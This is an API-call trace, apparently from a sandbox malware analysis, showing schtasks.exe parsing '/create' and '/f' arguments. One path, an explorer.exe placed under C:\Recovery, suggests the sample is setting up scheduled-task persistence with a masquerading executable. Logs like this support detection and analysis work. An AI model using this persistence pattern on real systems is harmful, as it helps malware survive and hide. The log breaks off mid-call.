StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0137.374] SetLastError (dwErrCode=0x490) [0137.374] SetLastError (dwErrCode=0x490) [0137.374] SetLastError (dwErrCode=0x0) [0137.374] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\explorer.exe'") returned 63 [0137.374] GetProcessHeap () returned 0x250000 [0137.374] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x80) returned 0x26dd60 [0137.374] GetProcessHeap () returned 0x250000 [0137.374] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x26cd60 [0137.374] SetLastError (dwErrCode=0x0) [0137.374] SetLastError (dwErrCode=0x0) [0137.374] lstrlenW (lpString="/f") returned 2 [0137.374] lstrlenW (lpString="-/") returned 2 [0137.374] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0137.374] lstrlenW (lpString="?") returned 1 [0137.374] lstrlenW (lpString="?") returned 1 [0137.374] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.374] lstrlenW (lpString="f") returned 1 [0137.374] _memicmp (_Buf1=0x26c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.374] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1ff4f8 | out: _Buffer="|?|") returned 3 [0137.374] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1ff4f8 | out: _Buffer="|f|") returned 3 [0137.374] lstrlenW (lpString="|?|") returned 3 [0137.375] lstrlenW (lpString="|f|") returned 3 [0137.375] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0137.375] SetLastError (dwErrCode=0x490) [0137.375] lstrlenW (lpString="create") returned 6 [0137.375] lstrlenW (lpString="create") returned 6 [0137.375] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.375] lstrlenW (lpString="f") returned 1 [0137.375] _memicmp (_Buf1=0x26c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.375] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1ff4f8 | out: _Buffer="|create|") returned 8 [0137.375] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1ff4f8 | out: _Buffer="|f|") returned 3 [0137.375] lstrlenW (lpString="|create|") returned 8 [0137.375] lstrlenW (lpString="|f|") returned 3 [0137.375] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0137.375] SetLastError (dwErrCode=0x490) [0137.375] lstrlenW (lpString="delete") returned 6 [0137.375] lstrlenW (lpString="delete") returned 6 [0137.375] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.375] lstrlenW (lpString="f") returned 1 [0137.375] _memicmp (_Buf1=0x26c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.375] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1ff4f8 | out: _Buffer="|delete|") returned 8 [0137.375] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1ff4f8 | out: _Buffer="|f|") returned 3 [0137.375] lstrlenW (lpString="|delete|") returned 8 [0137.375] lstrlenW (lpString="|f|") returned 3 [0137.375] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0137.375] SetLastError (dwErrCode=0x490) [0137.376] lstrlenW (lpString="query") returned 5 [0137.376] lstrlenW (lpString="query") returned 5 [0137.376] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.376] lstrlenW (lpString="f") returned 1 [0137.376] _memicmp (_Buf1=0x26c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.376] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x8, _Format="|%s|", _ArgList=0x1ff4f8 | out: _Buffer="|query|") returned 7 [0137.376] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1ff4f8 | out: _Buffer="|f|") returned 3 [0137.376] lstrlenW (lpString="|query|") returned 7 [0137.376] lstrlenW (lpString="|f|") returned 3 [0137.376] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0137.376] SetLastError (dwErrCode=0x490) [0137.376] lstrlenW (lpString="change") returned 6 [0137.376] lstrlenW (lpString="change") returned 6 [0137.376] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.376] lstrlenW (lpString="f") returned 1 [0137.376] _memicmp (_Buf1=0x26c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.376] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1ff4f8 | out: _Buffer="|change|") returned 8 [0137.376] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1ff4f8 | out: _Buffer="|f|") returned 3 [0137.376] lstrlenW (lpString="|change|") returned 8 [0137.376] lstrlenW (lpString="|f|") returned 3 [0137.376] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0137.376] SetLastError (dwErrCode=0x490) [0137.377] lstrlenW (lpString="run") returned 3 [0137.377] lstrlenW (lpString="run") returned 3 [0137.377] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.377] lstrlenW (lpString="f") returned 1 [0137.377] _memicmp (_Buf1=0x26c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.377] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1ff4f8 | out: _Buffer="|run|") returned 5 [0137.377] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1ff4f8 | out: _Buffer="|f|") returned 3 [0137.377] lstrlenW (lpString="|run|") returned 5 [0137.377] lstrlenW (lpString="|f|") returned 3 [0137.377] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0137.377] SetLastError (dwErrCode=0x490) [0137.377] lstrlenW (lpString="end") returned 3 [0137.377] lstrlenW (lpString="end") returned 3 [0137.377] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.377] lstrlenW (lpString="f") returned 1 [0137.377] _memicmp (_Buf1=0x26c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.377] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1ff4f8 | out: _Buffer="|end|") returned 5 [0137.377] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1ff4f8 | out: _Buffer="|f|") returned 3 [0137.377] lstrlenW (lpString="|end|") returned 5 [0137.377] lstrlenW (lpString="|f|") returned 3 [0137.377] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0137.377] SetLastError (dwErrCode=0x490) [0137.377] lstrlenW (lpString="showsid") returned 7 [0137.377] lstrlenW (lpString="showsid") returned 7 [0137.377] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.378] lstrlenW (lpString="f") returned 1 [0137.378] _memicmp (_Buf1=0x26c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.378] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0xa, _Format="|%s|", _ArgList=0x1ff4f8 | out: _Buffer="|showsid|") returned 9 [0137.378] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1ff4f8 | out: _Buffer="|f|") returned 3 [0137.378] lstrlenW (lpString="|showsid|") returned 9 [0137.378] lstrlenW (lpString="|f|") returned 3 [0137.378] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0137.378] SetLastError (dwErrCode=0x490) [0137.378] SetLastError (dwErrCode=0x490) [0137.378] SetLastError (dwErrCode=0x0) [0137.378] lstrlenW (lpString="/f") returned 2 [0137.378] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0137.378] SetLastError (dwErrCode=0x490) [0137.378] SetLastError (dwErrCode=0x0) [0137.378] lstrlenW (lpString="/f") returned 2 [0137.378] GetProcessHeap () returned 0x250000 [0137.378] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x6) returned 0x26ddf0 [0137.378] GetProcessHeap () returned 0x250000 [0137.378] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x26cd90 [0137.378] SetLastError (dwErrCode=0x0) [0137.378] GetProcessHeap () returned 0x250000 [0137.378] GetProcessHeap () returned 0x250000 [0137.378] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26c200) returned 1 [0137.378] GetProcessHeap () returned 0x250000 [0137.378] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26c200) returned 0x8 [0137.378] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26c200 | out: hHeap=0x250000) returned 1 [0137.378] GetProcessHeap () returned 0x250000 [0137.378] GetProcessHeap () returned 0x250000 [0137.378] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26cc10) returned 1 [0137.378] GetProcessHeap () returned 0x250000 [0137.379] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26cc10) returned 0x20 [0137.379] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26cc10 | out: hHeap=0x250000) returned 1 [0137.379] GetProcessHeap () returned 0x250000 [0137.379] GetProcessHeap () returned 0x250000 [0137.379] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26c290) returned 1 [0137.379] GetProcessHeap () returned 0x250000 [0137.379] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26c290) returned 0x14 [0137.379] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26c290 | out: hHeap=0x250000) returned 1 [0137.379] GetProcessHeap () returned 0x250000 [0137.379] GetProcessHeap () returned 0x250000 [0137.379] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26cc40) returned 1 [0137.379] GetProcessHeap () returned 0x250000 [0137.379] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26cc40) returned 0x20 [0137.380] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26cc40 | out: hHeap=0x250000) returned 1 [0137.380] GetProcessHeap () returned 0x250000 [0137.380] GetProcessHeap () returned 0x250000 [0137.380] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26c2b0) returned 1 [0137.380] GetProcessHeap () returned 0x250000 [0137.380] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26c2b0) returned 0x8 [0137.380] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26c2b0 | out: hHeap=0x250000) returned 1 [0137.380] GetProcessHeap () returned 0x250000 [0137.380] GetProcessHeap () returned 0x250000 [0137.380] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26cc70) returned 1 [0137.380] GetProcessHeap () returned 0x250000 [0137.380] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26cc70) returned 0x20 [0137.380] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26cc70 | out: hHeap=0x250000) returned 1 [0137.380] GetProcessHeap () returned 0x250000 [0137.380] GetProcessHeap () returned 0x250000 [0137.380] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26c2d0) returned 1 [0137.380] GetProcessHeap () returned 0x250000 [0137.381] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26c2d0) returned 0xe [0137.381] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26c2d0 | out: hHeap=0x250000) returned 1 [0137.381] GetProcessHeap () returned 0x250000 [0137.381] GetProcessHeap () returned 0x250000 [0137.381] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26cca0) returned 1 [0137.381] GetProcessHeap () returned 0x250000 [0137.381] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26cca0) returned 0x20 [0137.381] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26cca0 | out: hHeap=0x250000) returned 1 [0137.381] GetProcessHeap () returned 0x250000 [0137.381] GetProcessHeap () returned 0x250000 [0137.381] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26c2f0) returned 1 [0137.381] GetProcessHeap () returned 0x250000 [0137.381] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26c2f0) returned 0x8 [0137.381] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26c2f0 | out: hHeap=0x250000) returned 1 [0137.381] GetProcessHeap () returned 0x250000 [0137.381] GetProcessHeap () returned 0x250000 [0137.381] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26ccd0) returned 1 [0137.381] GetProcessHeap () returned 0x250000 [0137.381] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26ccd0) returned 0x20 [0137.382] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26ccd0 | out: hHeap=0x250000) returned 1 [0137.382] GetProcessHeap () returned 0x250000 [0137.382] GetProcessHeap () returned 0x250000 [0137.382] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26c310) returned 1 [0137.382] GetProcessHeap () returned 0x250000 [0137.382] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26c310) returned 0x6 [0137.382] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26c310 | out: hHeap=0x250000) returned 1 [0137.382] GetProcessHeap () returned 0x250000 [0137.382] GetProcessHeap () returned 0x250000 [0137.382] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26cd00) returned 1 [0137.382] GetProcessHeap () returned 0x250000 [0137.382] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26cd00) returned 0x20 [0137.383] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26cd00 | out: hHeap=0x250000) returned 1 [0137.383] GetProcessHeap () returned 0x250000 [0137.383] GetProcessHeap () returned 0x250000 [0137.383] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26c330) returned 1 [0137.383] GetProcessHeap () returned 0x250000 [0137.383] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26c330) returned 0x8 [0137.383] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26c330 | out: hHeap=0x250000) returned 1 [0137.383] GetProcessHeap () returned 0x250000 [0137.383] GetProcessHeap () returned 0x250000 [0137.383] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26cd30) returned 1 [0137.383] GetProcessHeap () returned 0x250000 [0137.383] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26cd30) returned 0x20 [0137.383] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26cd30 | out: hHeap=0x250000) returned 1 [0137.383] GetProcessHeap () returned 0x250000 [0137.383] GetProcessHeap () returned 0x250000 [0137.383] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26dd60) returned 1 [0137.383] GetProcessHeap () returned 0x250000 [0137.383] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26dd60) returned 0x80 [0137.384] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26dd60 | out: hHeap=0x250000) returned 1 [0137.384] GetProcessHeap () returned 0x250000 [0137.384] GetProcessHeap () returned 0x250000 [0137.384] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26cd60) returned 1 [0137.384] GetProcessHeap () returned 0x250000 [0137.384] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26cd60) returned 0x20 [0137.384] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26cd60 | out: hHeap=0x250000) returned 1 [0137.384] GetProcessHeap () returned 0x250000 [0137.384] GetProcessHeap () returned 0x250000 [0137.384] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26ddf0) returned 1 [0137.384] GetProcessHeap () returned 0x250000 [0137.384] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26ddf0) returned 0x6 [0137.384] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26ddf0 | out: hHeap=0x250000) returned 1 [0137.384] GetProcessHeap () returned 0x250000 [0137.384] GetProcessHeap () returned 0x250000 [0137.384] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26cd90) returned 1 [0137.384] GetProcessHeap () returned 0x250000 [0137.384] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26cd90) returned 0x20 [0137.385] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26cd90 | out: hHeap=0x250000) returned 1 [0137.385] GetProcessHeap () returned 0x250000 [0137.385] GetProcessHeap () returned 0x250000 [0137.385] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26b9d0) returned 1 [0137.385] GetProcessHeap () returned 0x250000 [0137.385] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26b9d0) returned 0x18 [0137.385] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26b9d0 | out: hHeap=0x250000) returned 1 [0137.385] SetLastError (dwErrCode=0x0) [0137.385] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0137.385] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0137.385] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0137.385] VerifyVersionInfoW (in: lpVersionInformation=0x1fc550, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x1fc550) returned 1 [0137.385] SetLastError (dwErrCode=0x0) [0137.385] lstrlenW (lpString="create") returned 6 [0137.385] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0137.386] SetLastError (dwErrCode=0x490) [0137.386] SetLastError (dwErrCode=0x0) [0137.386] lstrlenW (lpString="create") returned 6 [0137.386] GetProcessHeap () returned 0x250000 [0137.386] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x26cd90 [0137.386] GetProcessHeap () returned 0x250000 [0137.386] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x18) returned 0x26d520 [0137.386] _memicmp (_Buf1=0x26d520, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.386] GetProcessHeap () returned 0x250000 [0137.386] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x16) returned 0x26d540 [0137.386] SetLastError (dwErrCode=0x0) [0137.386] _memicmp (_Buf1=0x26ba90, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.386] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x26bc30, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0137.386] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0137.386] GetProcessHeap () returned 0x250000 [0137.387] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x74e) returned 0x26dd60 [0137.387] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x26dd60 | out: lpData=0x26dd60) returned 1 [0137.387] VerQueryValueW (in: pBlock=0x26dd60, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x1fc638, puLen=0x1fc6a0 | out: lplpBuffer=0x1fc638*=0x26e0fc, puLen=0x1fc6a0) returned 1 [0137.387] _memicmp (_Buf1=0x26ba90, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.387] _vsnwprintf (in: _Buffer=0x26bc30, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x1fc618 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0137.387] VerQueryValueW (in: pBlock=0x26dd60, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x1fc6a8, puLen=0x1fc698 | out: lplpBuffer=0x1fc6a8*=0x26df28, puLen=0x1fc698) returned 1 [0137.387] lstrlenW (lpString="schtasks.exe") returned 12 [0137.387] lstrlenW (lpString="schtasks.exe") returned 12 [0137.387] lstrlenW (lpString=".EXE") returned 4 [0137.387] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0137.387] lstrlenW (lpString="schtasks.exe") returned 12 [0137.387] lstrlenW (lpString=".EXE") returned 4 [0137.387] lstrlenW (lpString="schtasks") returned 8 [0137.387] lstrlenW (lpString="/create") returned 7 [0137.387] _memicmp (_Buf1=0x26ba90, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.387] _vsnwprintf (in: _Buffer=0x26bc30, _BufferCount=0x19, _Format="%s %s", _ArgList=0x1fc618 | out: _Buffer="schtasks /create") returned 16 [0137.387] _memicmp (_Buf1=0x26bab0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.387] GetProcessHeap () returned 0x250000 [0137.387] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x26cd60 [0137.388] _memicmp (_Buf1=0x26bad0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.388] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x26d2c0, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0137.388] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0137.388] GetProcessHeap () returned 0x250000 [0137.388] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x30) returned 0x267ac0 [0137.388] _vsnwprintf (in: _Buffer=0x26c030, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x1fc618 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0137.388] GetProcessHeap () returned 0x250000 [0137.388] GetProcessHeap () returned 0x250000 [0137.388] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26dd60) returned 1 [0137.388] GetProcessHeap () returned 0x250000 [0137.388] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26dd60) returned 0x74e [0137.388] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26dd60 | out: hHeap=0x250000) returned 1 [0137.388] SetLastError (dwErrCode=0x0) [0137.388] GetThreadLocale () returned 0x409 [0137.388] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0137.388] lstrlenW (lpString="create") returned 6 [0137.388] GetThreadLocale () returned 0x409 [0137.388] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0137.388] lstrlenW (lpString="?") returned 1 [0137.389] GetThreadLocale () returned 0x409 [0137.389] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0137.389] lstrlenW (lpString="s") returned 1 [0137.389] GetThreadLocale () returned 0x409 [0137.389] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0137.389] lstrlenW (lpString="u") returned 1 [0137.389] GetThreadLocale () returned 0x409 [0137.389] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0137.389] lstrlenW (lpString="p") returned 1 [0137.389] GetThreadLocale () returned 0x409 [0137.389] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0137.389] lstrlenW (lpString="ru") returned 2 [0137.389] GetThreadLocale () returned 0x409 [0137.389] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0137.389] lstrlenW (lpString="rp") returned 2 [0137.389] GetThreadLocale () returned 0x409 [0137.389] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0137.389] lstrlenW (lpString="sc") returned 2 [0137.389] GetThreadLocale () returned 0x409 [0137.389] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0137.389] lstrlenW (lpString="mo") returned 2 [0137.389] GetThreadLocale () returned 0x409 [0137.389] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0137.389] lstrlenW (lpString="d") returned 1 [0137.389] GetThreadLocale () returned 0x409 [0137.389] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0137.390] lstrlenW (lpString="m") returned 1 [0137.390] GetThreadLocale () returned 0x409 [0137.390] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0137.390] lstrlenW (lpString="i") returned 1 [0137.390] GetThreadLocale () returned 0x409 [0137.390] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0137.390] lstrlenW (lpString="tn") returned 2 [0137.390] GetThreadLocale () returned 0x409 [0137.390] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0137.390] lstrlenW (lpString="tr") returned 2 [0137.390] GetThreadLocale () returned 0x409 [0137.390] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0137.390] lstrlenW (lpString="st") returned 2 [0137.390] GetThreadLocale () returned 0x409 [0137.390] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0137.390] lstrlenW (lpString="sd") returned 2 [0137.390] GetThreadLocale () returned 0x409 [0137.390] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0137.390] lstrlenW (lpString="ed") returned 2 [0137.390] GetThreadLocale () returned 0x409 [0137.390] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0137.390] lstrlenW (lpString="it") returned 2 [0137.390] GetThreadLocale () returned 0x409 [0137.390] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0137.390] lstrlenW (lpString="et") returned 2 [0137.390] GetThreadLocale () returned 0x409 [0137.390] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0137.391] lstrlenW (lpString="k") returned 1 [0137.391] GetThreadLocale () returned 0x409 [0137.391] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0137.391] lstrlenW (lpString="du") returned 2 [0137.392] GetThreadLocale () returned 0x409 [0137.392] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0137.392] lstrlenW (lpString="ri") returned 2 [0137.392] GetThreadLocale () returned 0x409 [0137.392] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0137.392] lstrlenW (lpString="z") returned 1 [0137.392] GetThreadLocale () returned 0x409 [0137.392] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0137.392] lstrlenW (lpString="f") returned 1 [0137.392] GetThreadLocale () returned 0x409 [0137.392] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0137.392] lstrlenW (lpString="v1") returned 2 [0137.392] GetThreadLocale () returned 0x409 [0137.392] CompareStringA (Locale=0x409, 